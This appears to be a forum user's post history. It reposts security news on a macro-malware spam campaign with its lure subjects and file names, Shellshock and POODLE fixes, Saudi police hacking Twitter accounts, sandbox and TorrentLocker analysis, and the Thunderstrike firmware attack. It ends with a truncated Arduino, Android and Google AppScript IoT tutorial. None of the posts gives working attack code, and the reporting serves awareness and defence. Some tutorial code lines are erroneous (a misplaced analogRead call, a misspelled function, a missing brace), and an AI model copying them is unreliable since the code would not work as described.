-
Posts
3453 -
Joined
-
Last visited
-
Days Won
22
Everything posted by Aerosol
-
The Microsoft Malware Protection Center says there has been a dramatic increase in threats using macros to spread malware via spam and social engineering over the last month. Macros are used for automating frequently used tasks in Office. Macro-related infections were constant and near zero daily up until Dec. 4. Infections spiked in mid-December, peaking at just fewer than 8,000 detections on Dec. 17. Infections have fallen since Microsoft moved to disable macros by default. However, the first phase of the attack involves a social engineering scheme designed to trick users into enabling macros on their machines. First the user receives a finance-themed spam email with a malicious attachment masquerading as a Microsoft Office document. The attachment is, in reality, a ploy to get the user to enable macros by default. When and if the user enables macros, it executes and downloads its payload, which is one of two separate Trojan downloaders. By default, the macros in Microsoft Office are set as ‘Disable all macros with notification’. Until they are manually enabled, the malware code cannot run Thus far, Microsoft has observed two trojans disseminated in this campaign: TrojanDownloader:W97/Adnel and TrojanDownloader:O97M/Tarbir. Each is a downloader capable of installing software, including malware, on the machines it infects. The Adnel variety is said to be a malicious macro that can be embedded int0 a Microsoft Office file. If opened, Microsoft should issue a warning about enabling macros. If a user chooses to or already has macros enabled, then the malicious code runs. The attackers have dispersed Adnel as malicious .doc and .xls files. “Upon opening the Microsoft Office file (in this case a Word document), a user will be prompted to enable macros,” the Microsoft Malware Protection Center warned. “By default, the macros in Microsoft Office are set as ‘Disable all macros with notification’. Until they are manually enabled, the malware code cannot run.” The campaign is targeting users primarily in the United States and the United Kingdom, who have experienced just fewer than and greater than 10,000 detections, respectively. Microsoft has observed other detections in France, Japan, Australia, India, South Africa, Canada, Italy and Germany, though each has far fewer than 1,000 detections. On the victim’s end, users should look out for the following email subject lines: ACH Transaction Report, Doc-file for report is ready, Invoice as required, Invoice – P97291, Order – Y24383, Payment Details, Remittance Advice from Engineering Solutions Ltd and Your Automated Clearing House Transaction Has Been Put Out. Malicious attachments deployed in the attack include: 20140918_122519.doc, 813536MY.xls, ACH Transfer 0084.doc, Automated Clearing House transfer 4995.doc, BAC474047MZ.xls, BILLING DETAILS 4905.doc, CAR014 151239.doc, ID_2542Z.xls, Fuel bill.doc, ORDER DETAILS 9650.doc, Payment Advice 593016.doc, SHIPPING DETAILS 1181.doc, SHIP INVOICE 1677.doc and SHIPPING NO.doc. Source
-
The maintainers of the Openwall security enhanced Linux distribution have released a new stable version, which includes fixes for a number of serious vulnerabilities, such as the Shellshock Bash bug and the flaw in SSLv3 that leads to the POODLE attack. Openwall is designed to be a small, compact Linux distribution for servers, appliances and virtual appliances and much of the code that’s packaged with the distribution undergoes a source code review. The distribution comprises a number of popular open source packages, including OpenSSL. “The primary approach used is proactive source code review for several classes of software vulnerabilities. However, because of the large amount of code, there’s a certain level of ‘importance’ for a software component or a part thereof to be audited. Currently, only pieces of code which are typically run with privileges greater than those of a regular user and/or typically process data obtained over a network are audited before the corresponding software component is included. This covers relevant code paths in many of the system libraries, all SUID/ SGID programs, all daemons and network services,” the Openwall site says. Openwall, also known as Owl, was updated to version 3.1, which fixes, not notably, four vulnerabilities in OpenSSL. One of those bugs is the SSLv3 fallback problem that allows the POODLE attack to succeed. That issue involves the tendency of Web servers trying to negotiate an SSL session to fallback to an older version of the secure protocol if a session fails. In some cases, attackers can force a connection to fail and then, if the server falls back to SSLv3, an outdated version of the protocol, exploit that to recover protected data. Owl 3.1 also includes an update to the Bash package that fixes the Shellshock vulnerability. That flaw allows an attacker to remotely attach a malicious executable to a variable that is executed when Bash is called. Source
-
The Commission for the Promotion of Virtue and Prevention of Vice strikes again Saudi Arabia's prude police have hired ethical hackers to pop hedonistic Twitter accounts identified for spruiking smut leading to arrests. The crackdown reported by Emirates24 was led by the religious police which hired the hackers to obtain personal details of Twitter users. The Commission for the Promotion of Virtue and Prevention of Vice claimed it closed 9000 smut-slinging Twitter accounts. "The Commission members have succeeded in hacking Twitter pornography accounts, shutting them and arresting some of their owners over the past period," an unnamed spokesman told the publication. The agency did not say how it compromised the users, either through the use of malware or by softer methods such as open source intelligence gathering. An unspecified number of citizens and expatriates were arrested who had alleged links to alcohol use and gambling. Those arrested could face up to five years jail or a $US 800,000 fine. The country has been cracking down on online pornography in recent years including the shuttering of local access to some 400,000 smut sites in 2013. Authorities had attempted to target the porn proliferators among its more than 5 million-strong Twitter and eight million-strong Facebook population through methods including setting 'traps' to identify offenders. Source
-
1. Introduction Buster Sandbox Analyzer is a tool that has been designed to analyze the behaviour of processes and the changes made to system and then evaluate if they are malware suspicious. The changes made to system can be of several types: file system changes, registry changes and port changes. A file system change happens when a file is created, deleted or modified. Depending of what type of file has been created (executable, library, javascript, batch, etc) and where was created (what folder) we will be able to get valuable information. Registry changes are those changes made to Windows registry. In this case we will be able to get valuable information from the modified value keys and the new created or deleted registry keys. Port changes are produced when a connection is done outside, to other computers, or a port is opened locally and this port starts listening for incoming connections. From all these changes we will obtain the necessary information to evaluate the "risk" of some of the actions taken by sandboxed applications. Watching all these operations in an easy and safe manner is possible thanks to Sandboxie (Sandboxie - Sandbox software for application isolation and secure Web browsing), an excellent tool created by Ronen Tzur. Even if Buster Sandbox Analyzer´s main goal is to evaluate if sandboxed processes have a malware behaviour, the tool can be used also to simply obtain a list of changes made to system, so if you install a software you will know exactly what installs and where. Additionally apart of system changes we can consider other actions as malware suspicious: keyboard logging, end the Windows session, load a driver, start a service, connect to Internet, etc. All the above operations can be considered as not malicious but if they are performed when it´s not expected, that´s something we must take in consideration. Therefore it´s not only important to consider what actions are performed. It´s also important to consider if it´s reasonable certain actions are performed. Buster Sandbox Analyzer is freeware. If you like this software, please, buy a license of Sandboxie. Actually there are web services, software and hardware doing the same task than Buster Sandbox Analyzer. Web services: http://www.joesecurity.org/ (Joebox) Anubis: Analyzing Unknown Binaries (Anubis) http://www.norman.com/security_center/security_tools/submit_file (Norman) http://www.gfi.com/malware-analysis-tool/ (GFI Sandbox) ThreatExpert - Automated Threat Analysis (Threat Expert) Comodo Instant Malware Analysis (Comodo Instant Malware Analysis) http://www.xandora.net/cloudantivirus/ (Autovin - Automated Tools for Virus Incidents) https://aerie.cs.berkeley.edu/ (BitBlaze Malware Analysis Service - Offline) Eureka Malware Analysis Page (EUREKA Malware Analysis) http://www.xandora.net/xangui/ (Suspicious File Analyzer) Malbox System (Malbox) http://vicheck.ca/ (ViCheck) http://netscty.com/Services/Sandbox (Network Security Investigations) http://www.malwr.com/ (Cuckoo) https://www.codexsolution.com/soluciones/products/codex-malware- analyzer/submit-sample (Jambo) Malware analyzing software: Blog reviewer and articles | Blog reviewer and articles from the web (Cuckoo) http://www.norman.com/enterprise/all_products/malware_analyzer/ norman_sandbox_analyzer (Norman Sandbox Analyzer) Minibis - CERT.at (Minibis) http://zerowine.sourceforge.net (Zero Wine) Zero Wine Tryouts | Official Website (Zero Wine Tryouts) Malware Analyser (Malware Analyser) Malware analyzing hardware: McAfee Acquires ValidEdge Sandboxing Technology | McAfee (validEDGE) Web services are free of charge and can be used publicly. Zero Wine is an open source project but it has been abandoned. Zero Wine Tryouts is a resumed version of Zero Wine. Minibis has not been updated since 2011-06.01 . Norman Sandbox Analyzer is a professional malware analyzer and it´s oriented to professionals due the price of the product. The same happens with validEDGE and GFI Sandbox. Joe Sandbox is also paid software. You can download Buster Sandbox Analyzer from here or here. MD5: c5b4fba39d6c8250311d8333633893ce You can download version 1.88 Update 4 (Only BSA.EXE) from here.
-
1. Executive summary 3 2. Introduction 4 3. Infection vector 5 3.1 Download page 6 3.2 CAPTCHA 7 3.3 Word document with VBA macros 8 4. Overall scheme 9 5. Malware analysis 11 5.1 Obfuscation 11 5.1.1 Dropper 11 5.1.2 Launcher 12 5.2 Local store 12 5.3 SMTP credentials and address book stealing 13 5.4 Network protocol 13 5.4.1 Choosing a C&C server 13 5.4.2 Communication protocol 14 5.4.3 Victim identification code generation 15 5.5 Cryptography 16 6. Decryption software analysis 18 7. Similarity with Hesperbot banking trojan 19 7.1 Malware distribution page similarity 19 7.2 C&C server reuse 19 7.3 PDB path 19 8. Statistics 21 8.1 Methodology 21 8.2 Results 21 9. Conclusion 24 10. Acknowledgement 25 11. References 25 12. Appendixes 27 Appendix A: Screenshots of CAPTCHA-enabled download pages 27 Appendix B: List of known domains hosting download page 31 Appendix C: List of known Onion URLs delivering payment information 35 Appendix D: Domains in TorrentLocker DGA 36 Appendix E: List of file types encrypted by TorrentLocker 37 Appendix F: List of hardcoded keys 38 Appendix G: List of samples 39 Read more here: http://www.welivesecurity.com/wp-content/uploads/2014/12/torrent_locker.pdf
-
A security researcher has discovered an easy way to infect Apple’s Macintosh computers with an unusual kind of malware using its own Thunderbolt port. The hack was presented by programming expert Trammell Hudson at the annual Chaos Computer Congress (30C3) in Hamburg Germany. He demonstrated that it is possible to rewrite the firmware of an Intel Thunderbolt Mac. The hack, dubbed Thunderstrike, actually takes advantage of a years-old vulnerability in the Thunderbolt Option ROM that was first disclosed in 2012 but is yet to be patched. Thunderstrike can infect the Apple Extensible Firmware Interface (EFI) by allocating a malicious code into the boot ROM of an Apple computer through infected Thunderbolt devices. The hack is really dangerous as, according to the researcher, there is no means for the user to detect the hack, or remove it even by re-installation of the complete OS X, only because the malicious code actually is in the system’s own separate ROM. Hudson also showed that he could replace Apple's own cryptographic key with a new one, which will prevent legitimate firmware updates from being accepted. In addition to writing a custom code to the boot ROM, Hudson’s presentation also notes a method by which the bootkit could replicate itself to any attached Thunderbolt device, giving it the ability to spread across even air-gapped networks. In short, an attacker could use the vulnerable Thunderbolt port to install a custom bootkit, which could even replicate itself to any other Thunderbolt-attached device, thereby spreading all over across the networks. You can watch the given by Hudson below and can also refer this blog post to know more about Thunderstrike. As far as Hudson knows, there are no Mac firmware bootkits in the wild and at this time, it exists only as a proof-of-concept. So, we can presume that the vulnerability can only be exploited if the attacker has physical access to the Thunderbolt Mac. Therefore, a regular Mac user need not to worry about the hack. Apple has already patched part of the vulnerability in the latest Mac mini and on the iMac with 5K Retina Display, which will soon be available for other Macs. Source
-
Raspberry PI Python with Google Appscript Authorization - Source - 1.8 KB Google App Script for PI Authorization - Source - 681 B Raspberry PI Python - Source - 1.3 KB C Sharp IoT Device Client - Source - 39.2 KB Android IoT Device Client - Source - 3.3 MB Google App Script for Arduino - Source - 402 B Arduino Door Security Sketch - Source - 1.6 KB Iot .NET Webservice Demo - Source - 13.2 KB Introduction Internet of Things – There are many articles to explain about “IoT” out there on the internet, so we are not going deeper into what it is. In a simple term “Internet of Things – Making devices work based on connected data through internet”. The data source can be from a sensor, a web server, another device, a mobile phone or any form of an electronic device which can receive/send data through internet. So “Internet of Devices” + “Internet of Data” = “Internet of Things”. Is it that simple? Yes, it is, as long as you are thinking of clicking a button from your office to switch off your TV at home. But, if you want to build a bunch of devices to act and react to each other based on data it receives from each other like robots moving around without hitting each other, automatic cars moving on roads without any accidents, it is not that simple, isn’t it? Rome was not built in a day. This article is to give you some bricks to start building now. Internet of Things IoT is all around data. Talking about IoT, there could be series of questions to ask like Who collects the data? Who process the data? What to do with the data? Where to store the data? Where to share the data? How to share the data? The answers will vary depending on the purpose of your goal to achieve with your IoT project. But, basically you need few of the following Things to achieve some answer to the above questions, An IoT device – which can connect to internet Internet connection (Ethernet or Wifi depends on the mode your device can connect) A webserver to store/process/share data We can purchase an affordable basic IoT device in the market today for few bucks. Internet connection is almost everywhere. A webserver will be the difficult part for learners/beginners or hobbyist who tries to do some level of home automation or a basic IoT project. So, this article will also explain how to use Google Drive for your IoT device as a data backend and also, will cover how to write a .NET webservice if you can afford a web server. Note that, you can configure and program your IoT device as your web server as well, but, that is not covered in this article. Background We will try to make a couple of simple circuits for Arduino, one using Thermistor temperature sensor and another using Ultrasonic distance sensor. Arduino program will write the temperature data and safe locker door open/close data to Google Spreadsheet or a MySQL database on a webserver. A Raspberry PI module to capture a picture if a door movement detected by Arduino module and an another PI module to switch off/on an electric device based on Webservice feed. What we are going to do with this data? An Android application on a mobile displays the current temperature and raises a notification alarm message if the temperature goes beyond threshold. The same Android application will also have a switch on the UI to write a command data to Google Spreadsheet or MySQL database on a webserver which in-turn will be read by Raspberry PI Python module to switch on/off an electric circuit (a fan, heater or whatever). The Android app will also allow you to enable/disable safety locker door Alarm notification. If it is enabled, your phone will raise an alarm instantly if there is any door movement detected. Note that, you can make your own changes to this simple design to make it more efficient. But, I keep it as is for this article purpose so that I can explain bits here and there. For example, connect the distance sensor to Raspberry PI module so that you can take some pictures as soon as you detect a movement. Sample Project: Through this article and sample, you can make your own simple Safety Locker Security Module to get alarm notification on your mobile during a security breach of your Locker. Also, you can control your home electronic equipments remotely through your mobile. Watch demo video here: Topics Covered This article will aim to guide you through the following topics Arduino Device with ThinkSpeak Arduino Device with Google Drive back-end support for collecting temperature data and door movement data. Raspberry PI Device with Google Drive back-end support to turn on/off Electric device based on Arduino’s temperature data Google AppScript programming for processing IoT data from Arduino Android program to read Google drive and direct Raspberry PI device to control Electric device .NET application to read Google drive and direct Raspberry PI device to control Electric device A .NET based Webservice with MySQL database. At end of this article, you will be able to, Setup and write a program for Arduino device Setup and write a Python module for Raspberry PI device Setup and use ThinkSpeak services. Write a simple Google Appscript to read and write to a Google Spreadsheet Write a simple Android program to read and write to a Google Spreadsheet Write a simple C# program to read and write to a Google Spreadsheet Write a simple C# Web Service to serve device requests with MySQL database Arduino Basics Arduino - a small piece of hardware which can be easily programmed to make interactive projects. You need a basic C++/Java programming background to do programming with Arduino. If you are already a C++sian, you can jump into an Arduino project right away, if not, it is not too late, there are a huge list of articles around internet - search, read i++, c+=1, for, while, etc and come back to start Arduino. To start with Arduino, first thing you need is an Arduino board and to make your Arduino device talk to internet you need another one board called "Ethernet Shield" or you can even buy both together as one pack with "Arduino Yun". I use Arduino UNO R3 board with an add-on Ethernet Shield as that is cheaper. An Arduino program mainly needs two functions setup() and loop(). setup() function is the first and one time runner whereas loop() as its name suggest is a cycler which keeps running repeatedly till reset or power off. So, that's it, you learnt Arduino. Really? I wish so, but, not there yet. There are interesting set of functions to learn and know like pinMode(), digitalWrite(), analogRead(), pulseIn() etc. And also there are Arduino libraries which you need to know depending on your project. So, the basic scope of our Arduino setup is to read the room temperature/movement activity and write it over the internet. What we need to do this, Arduino microcontroller board Ethernet shield board for internet connection. Internet connection with an Ethernet cable USB Cable Type A to B (normally comes with Arduino board) A bread board with some jumper wires 10K Ohms Thermistor (for Thermistor Circuit) 10K Ohms Resistor (for Thermistor Circuit) Ultrosonic distance sensor (for Door movement monitoring circuit) Arduino IDE Download the free Arduino IDE from Arduino website and install on your computer. The IDE is simple and easy to use and it comes with loads of ready to use examples which you can choose directly from File --> Examples. Setup your circuit and hardware: I use 4 pin ultrasonic sensor in this example. You can get a 3 pin sensor in the market as well. Note that, the above picture doesn't show the Ethernet Shield. But, you need Ehternet Shield to make Arduino see the outside world. You don't need a special setup for it, just plug it on top of your Arduino board and start play with it. As you already know, an Arduino program needs two functions, setup() { //Initial setup code for your sketch } loop() { //Your actual logic runs here repeatedly - main loop } Temperature Data: Using the Thermistor Circuit above, let us start writing some code to get the temperature data from the circuit. As we use Analog pin 0 for reading the data, the code goes as below, loop() { double temperature=analogRead(A0); } A Thermistor resistor will give voltage output which passes through it based on its resistance value. So what we get in "temperature" variable will be just some voltage references. You need to do some mathematics to convert it to actual temperature value. There is a well known formula and function for that, Steinhart-hart Formula: 1/T= A + B*ln® + C*ln®2 where, T is the Temperature in kelvins, R is the resistance in Ohms. double Thermistor(int RawADC) { //Function to perform the fancy math of the Steinhart-Hart equation double Temp; Temp = log(((10240000/RawADC) - 10000)); Temp = 1 / (0.001129148 + (0.000234125 + (0.0000000876741 * Temp * Temp ))* Temp ); Temp = Temp - 273.15; // Convert Kelvin to Celsius // Temp = (Temp * 9.0)/ 5.0 + 32.0; // Celsius to Fahrenheit - comment out this line if you need Celsius return Temp; } So the code goes like this now double temperature=analogRead(Thermistor(A0)); // Celsius Now we got the temperature value in Celsius. What now? How to write it to a Google sheet or a Web Server? Arduino provides libraries to connect to internet through Ethernet. For our purpose we are going to use the EthernetClient class which is well enough to make a HTTP request to a web server. The internet connection is a two end process, Client and the Server. So, you need an identity for your device and you need to know the identity of the web server you are going to connect to. First, get an IP address for your device (if it is your home network, just use an unassigned IP address in your local range like 192.168.1.176), and assign a MAC address for your device. Just make sure your MAC address is not a duplicate on your own network. char server[] = "api.thingspeak.com"; // or // byte server[] = { 184, 106, 153, 149 }; You can find the ip address of a web server by just doing a ping test. So, how will be the setup(), and loop() functions look like with Ethernet enabled, void setup() { if (Ethernet.begin(mac) == 0) { Ethernet.begin(mac, ip); } void loop() { double temperature=Thermister(analogRead(A0)); String data = "data=" + String(temperature, DEC); EthernetClient client; if (client.connect(server, 80)) { String content=data; // Make a HTTP request: client.print("POST /apps/thinghttp/send_request HTTP/1.1\n"); client.print("Host: api.thingspeak.com\n"); client.print("Connection: close\n"); client.print("X-THINGSPEAKAPIKEY: your_thingspeak_key\n"); client.print("Content-Type: application/x-www-form-urlencoded\n"); client.print("Content-Length: "); client.print(data.length()); client.print("\n\n"); // end of http header client.print(data); if (client.available()) { char c = client.read(); } client.stop(); delay(6*10000); // wait for a minute before next update } else { //connection failed. there is a way to retry, check WebClient example } } Is it not simple to understand? As you know, setup() is an initializing function, so it runs only once, where we initialize our Ethernet connection through Ethernet.begin(). Then the loop function gets the temperature data, creates a EthernetClient object, makes a request to connect to the Server through port 80. Rest of the code deals with the HTTP headers. This is a one way connection, we don't expect a response from the server. We get the temperature data and pass it to the web server through url parameter. client.print() function writes data to the connected server. client.available() function returns true if the server connection still available. client.read() function reads the response from the server and finally client.stop() function closes the connection with the server. You can check the WebClient example code available with Arduino IDE for more understanding. We will discuss about ThingSpeak in a little time. Before that let us look into Ultrasonic side of the code as well. For understanding, the below code snapshot just shows the Ultrasonic distance sensor part excluding Ethernet and Temperature codes. const int pingPin = 8; const int trigPin = 7; void setup() { pinMode(trigPin, OUTPUT); pinMode(pingPin, INPUT); Serial.begin(9600); } void loop() { long duration, cm; digitalWrite(trigPin, LOW); delayMicroseconds(2); digitalWrite(trigPin, HIGH); delayMicroseconds(5); digitalWrite(trigPin, LOW); duration = pulseIn(pingPin, HIGH); cm = duration / 29 / 2; // to centimetres // Assume a locker door and the sensor is inside the locker facing the door if(cm>200) { Serial.print("Door Opened! Trigger an alarm! Call the Robot to hit the intruder!!!!"); } } The above code partly again from Arduino examples. Only difference is, this example uses 4 pin Ultrasonic sensor which has a triggering pin additionally. Four pin sensor needs a trigger to start. There are some interesting functions used in this example which will be more common in usage on most of your Arduino projects. pinMode(pin, mode): Defines the usage of the pin on this program. INPUT = for reading input signal, OUTPUT = for writing a signal to a pin (light an LED). digitalWrite(pin, value): Enable/Disable 5v power on the specified pin; LOW=0v, HIGH = 5v pulseIn(pin, value): waits for the given pin to go HIGH or LOW as specified under value parameter and returns the duration of HIGH/LOW state of the pin. Ultrasonic sensor sends the sound signal and receives it back and the duration is measured by time and the distance is calculated based on sound speed of return within that duration. Serial.begin(), Serial.print(): This will be helpful if you dont have a display hardware and for debugging purposes. Press Ctrl+Shift+M on Arduino IDE (or Tools->Serial Monitor), you will get a window on which you can see Serial.print() printing data from your device. That's it!! Arduino part is almost ready, what you need is write the Door alarm data to web as well, in the similar way as temperature data. ThingSpeak & ThingHTTP ThingSpeak.com is an opensource solution for Internet of Things products which can be used for data logging, data processing, data forwarding etc. Programmers can make use of it to connect their devices over the internet. Oh! are we talking about a web service? Yes we are. ThingSpeak is a free open data solution for IoT devices. Then why we are talking about Google Spreadsheet/Web Services? Yes, correct why we need to? But, there is a company you work for, will ask you to build a web service for their own web server or you may want to do your own home automation system, not just with data but to enhance it with your super-powered App Script to process the data on your own way. There will be too many advantages when you manage your own services, isn't it? Now, our goal is to use ThingSpeak to redirect our data to Google. Here, we need to know two things. First, how to do ThingSpeak? What Google url you are going to access? The second question will be answered in a short time under Google Scripts topic. Below are the steps to create a ThingSpeak account and ThingHTTP service. Visit ThingSpeak.com for the other services understanding which is not covered here. Register/Login to ThingSpeak.com Goto Apps menu and click on "New ThingHTTP" button List of entries to be filled to create a ThingHTTP Name: A Name for your ThingHTTP (Eg: "MyArduinoGoogle") URL: Google URL to be redirected Method: POST Content-Type: application/x-www-form-urlencoded HTTP Version: 1.1 Body: temp=%%data%% (use & for multiple entries) Click on "Save ThingHTTP" button Its done, you have your ThingHTTP ready to redirect your Arduino request to Google. What is %%data%%? Scroll up to the Arduino program we discussed earlier and check this line, String data = "data=" + String(temperature, DEC); %%data%% is kind of variable declared in your ThingHTTP app which will be replaced by your own data when a HTTP request is made to ThingHTTP with a POST parameter. Eg: replace <your_api_key> with your actual api key you get from ThingHTTP. http://api.thingspeak.com/apps/thinghttp/send_request?api_key={your_api_key}&data=5.234 This request will be redirected to Google URL as, https://script.google.com/macros/s/{your_script_unique_id_here}/exec?temp=5.234 Well, you got your ThingHTTP setup now. What's next? How to get the Google App Script URL? Not a big deal, all you need to know is javascript, rest will be some Google API classes and stuffs. Right! Let us jump into it now. Google AppScript Google Appscript is a little powerful scripting option available with Google Apps which will let you write your own script and access from other applications (Google Apps or other web services). As google account is available with almost everybody who uses internet today, this may be the best place to store your data for your own devices. As of today, Google's drive option has 15GB of data limit across all your Google Apps which is sufficient for students, hobbyist or simple home automation projects. To start your Google AppScript now, go to https://script.google.com and select a blank project or "Script as Web App". Note that Google AppScript UI options are subject to change over the time by Google Developers. So, we are just going to understand how to write a script. You can always play with your account's google script and learn. Basically, there are two functions you need to understand, doGet() and doPost(). If you know the difference between GET and POST request to a web server, this will be easy to understand. As your Google AppScript will be accessed through URL, doGet() will get called if the request was a GET request and doPost() will get called if the request was a POST request. Let us take an example, function doGet(){ return HtmlService.createHtmlOutput("Hello Google!"); } this will show "Hello Google!" on your browser when gets called through GET request. How to get the URL? Once you've written your script publish it using Publish option and save a revision with description, then choose how to execute your script and who has access to your script. For your device to access your script choose the options as below, Choose anonymous option as you dont have an option to login to Google account to authorize your script on your Arduino device. Keep the url safe as this will get called anonymously, so anybody have the url can log data to your script. Notice the message which says "You need to authorize the script....". This is just before you deploy the url to public, run the script once to get one time authorization confirmation on your screen. Right! You got the URL. Make sure always, that you copy the exec url and not the dev url. What is that? when you copy your final URL, check the end of the url, if it ends with "exec" thats a shareable URL or if it ends with "dev" it is your development URL which is not for sharing. Nothing big here, just rename dev to exec if you copied the wrong one. Passing QueryString parameter to Script: QueryString parameter can be passed to your app script url as normal as how you do with other URLs. For example, https://script.google.com/macros/s/{your_script_unique_id_here}/exec?temp=5.234 Now, to access this value in the script function doGet(e){ return HtmlService.createHtmlOutput("Temperature Value : " + e.parameter.temp); } Notice the "e" parameter added to doGet() function which receives querystring parameters from your URL and the value can be accessed using e.paramter.temp where "temp" is the querystring parameter name on the URL. Run this script now, you will get "Temperature Value : undefined"! But why "undefined"? Make sure you pass the querystring parameter through the URL which will not be there by default to avoid "undefined". Accessing Spreadsheet: Our aim is to write our device data to spread sheet. So, to write to a spreadsheet, first create a spread sheet on Google drive and save it with a name. By doing that you will get a spread sheet id on the spread sheet url. Now, let us start writing some code to access the spreadsheet through Google Script, var SPID="your-spreadsheet-id"; function doPost(e) { return doStuff(e); } function doGet(e){ return doStuff(e); } function doStuff(e){ var sheet = SpreadsheetApp.openById(SPID).getSheetByName("COMMAND"); if(sheet == null) return HtmlService.createHtmlOutput("No Sheet"); sheet.getRange(2, 1).setValue(e.parameter.temp); sheet.getRange(2,5).setValue(e.parameter.door); return HtmlService.createHtmlOutput("OK"); } Simple few lines of code to write to spread sheet, right? There is one small, but important thing you need to understand here. When you make POST request to your URL, the request will fail if there is no doPost() function written to serve the POST request. So, make sure you handle both request on your script. Remember, on ThingHTTP, we are using POST request. If you really want your script to respond differently to both the requests, write seperate code for each request. For eg: if you want to show a graph with temperature data if the request was GET from a browser, do it in doGet() and make the doPost() stuff to do storing data. Android Client You can use Ecllipse or Android Studio IDEs for your Android development - both are freely available. I use Android Studio as that is the dedicated IDE for Android development. You can download Android Studio from http://developer.android.com/sdk/. Follow the instructions to install and setup Android Studio on your computer/laptop. Download/Update your SDKs through "SDK Manager" as necessary. If you are going to use your own mobile for testing your app, make sure you connect your USB cable to your computer/laptop and enable "Developer Options" from Settings--> General. If you dont see "Developer Options" on your phone, it may be hidden (from KitKat version onwards), so goto Settings-->About-->Build Number and tap it 7 times to get "Developer Option" visible. If you want to write an Android program, you must know what is Activity and View. For simple understanding, Activity class in Android is similar to your main() function in C/C++/Java - having just main() function will do something without a window/UI. After main() function you will have to call UI functions to create a window for your application, that is View here. Below is a simple example of how an Activity lifecycle looks like, public class MyMainActivity extends Activity { @Override protected void onDestroy() { } } nything you can see on your Android phone screen is from a View. So view is nothing but a UI. Android studio will offer you templates when you start a project which will create a default Activity and View based on your selection. Once you created a project, you can find and edit your View under (your project)-->app-->src-->layout folder (in xml format). Another important one to remember for an Android program is your AndroidManifest.xml file. You might have noticed when you install an application from Google AppStore, you will be prompted to approve the application's required permissions list. That list comes from this file, this is to tell your Android OS what are all the services you are going to use in your application (like INTERNET, STORAGE, etc). This file is not just for that alone, most of your application configuration had to be declared here. AndroidManifest.xml is one of the most common thing people forget/miss and spend time on other area to fix the problem. Well, I recommend to you to have a look around for some tutorial to get some basics on Android programming further. Our goal is to have an app with some buttons and a service running in the background to check data changes in spreadsheet. For this, we need two improtant entries on our AndroidManifest.xml file, <uses-permission android:name="android.permission.INTERNET"/> under <manifest> to tell Android that our application needs internet access, and <service android:enabled="true" android:name=".IoTDemoService" /> under <application> to tell Android that our application runs as Service as well. We need to make Service and UI application talk to each other to make the app bit efficient so that the Service will handle Spreadsheet data and the UI will act only as UI. There are different ways to do it, a common way is using a static message handler or a private database. I am going to use a small private Sqlite database table which is inbuilt with Android by default to make this article simple and easy for understanding. Android Service is similar to the "Service" we know in Windows world. It runs in background without an UI and runs forever. Below code shows an example of a Service lifecycle, public class IoTDeviceService extends Service { @ Override public IBinder onBind(Intent intent) { } @ Override public void onCreate() { } @ Override public int onStartCommand(Intent intent, int flags, int startId) { return START_STICKY; } @ Override public void onDestroy() { } } onStartCommand() will start running when the startService() function called. On our UI app, we call startService as below to start our Service to work with Google spreadsheet. startService(new Intent(this, IoTDeviceService.class)); To access Google Spreadsheet service, below libraries need to be added to your project. Install Google Play Service through SDK Manager. Open build.gradle under your "app" folder from the project explorer window. Note that there may be more than one build.gradle file in your project (one at the root folder), make sure you choose the file under your app. Add the following line under dependencies block, compile 'com.google.android.gms:play-services:5.0.+' Not just that, go back to AndroidManifest.xml and declare the below entry under <application> element, <meta-data android:name="com.google.android.gms.version" android:value="@ integer/google_play_services_version" /> Download gdata java client and guava libraries, GData Java Client: https://code.google.com/p/gdata-java-client/downloads/list Guava Library: https://code.google.com/p/guava-libraries/ Copy gdata-client, gdata-core, gdata-maps, gdata-spreadsheet, guava jar files to you project's "lib" folder (Project Explorer window on your Android Studio IDE). After copy, right click on each jar files and click on "Add as library" to add them to your app as libraries. Save your project and click on "Sync project with Gradle Files". Note that, to use Google spreadsheet, we need a google user account, so we will have to ask our app user to select an user account during start, String[] accountTypes = new String[]{"com.google"}; Intent intent = AccountPicker.newChooseAccountIntent(null, null, accountTypes, false, null, null, null, null); startActivityForResult(intent, REQUEST_CODE_PICK_ACCOUNT); Once user selected an account to use, we will have to get a token for the selected user account, but this needs user permission, String token= GoogleAuthUtil.getTokenWithNotification( IoTDeviceService.this, email, "oauth2:https://spreadsheets.google.com/feeds https://docs.google.com/feeds", null); This will give a notification to the user to authorize our app to access Google Service using his/her Google account. User has to authorize before we proceed further. Once we received the token, our app is all set to go. Below code snap is to enumerate spreadsheets under the selected user account, SpreadsheetService s =new SpreadsheetService("IoTDeviceService", "https", "google.com"); s.setAuthSubToken(token); URL SPREADSHEET_FEED_URL = new URL( "https://spreadsheets.google.com/feeds/spreadsheets/private/full"); SpreadsheetFeed feed; feed = s.getFeed(SPREADSHEET_FEED_URL, SpreadsheetFeed.class); List<SpreadsheetEntry> spreadsheets = feed.getEntries(); String sheets = ""; // Run through all of the spreadsheets returned for (SpreadsheetEntry spreadsheet : spreadsheets) { Log.d("IotDeviceServie", spreadsheet.getTitle().getPlainText()); String title =spreadsheet.getTitle().getPlainText(); } Well, rest of the Google Service code deals with how we switch on/off heater/cooler, enable/disable alarm, read temperature, door status from IoT device. Note that, this sample application IoTDeviceClient looks for a spreadsheet named "TestData" and a sheet with name "COMMAND" in selected user account's Google Drive. The "COMMAND" sheet should look like below, Important Note: The Android client project code attached with this article is only for learning purpose. The code is not optimized and it is not designed to work as a product. This is just to show how to access Google Spreadsheet through Android app. See it in Action: Take a carton box and open it on both sides. Measure the distance between two sides of the box in centimeters. Update your Arduino sensor code to keep that measurement as the alarm threshold. Setup your Arduino on one side of the box and keep the Ultrasonic sensor facing the other open side of the box (considered to be our door). Close the door side of the box and power up your circuit. Now, Open/Close the door side of the box, if you have installed the test app on your Android mobile, you must have received a notification already on your mobile about Open/Close activity on your door. C# IoT Device Client Let us try one Windows client for our IoT Device. Create a C# Windows Form project and download Google Data API SDK from the following link, https://code.google.com/p/google-gdata/downloads/list Add the following files to your Project Reference, Google.GData.Client Google.GData.Extensions Google.GData.Spreadsheets Thats it, you are ready to do Google API programming on C#. The method of accessing spreadsheet is going to be very much same as earlier with some little differences. First we need to create a project in https://console.developers.google.com and then create Client ID for the project (under APIs & Auth--> Credentials). This will give you a client id, a client secret and a redirect uri. Now, we need to get the Authorization URL for user permission request, parameters.ClientId = CLIENT_ID; parameters.ClientSecret = CLIENT_SECRET; parameters.RedirectUri = REDIRECT_URI; parameters.Scope = "https://spreadsheets.google.com/feeds https://docs.google.com/feeds"; string authorizationUrl = OAuthUtil.CreateOAuth2AuthorizationUrl(parameters); User has to use this URL on a browser window to approve and get a access code for our application from Google. This access code will be used to get an access token and a refresh token. These tokens will give our application access to 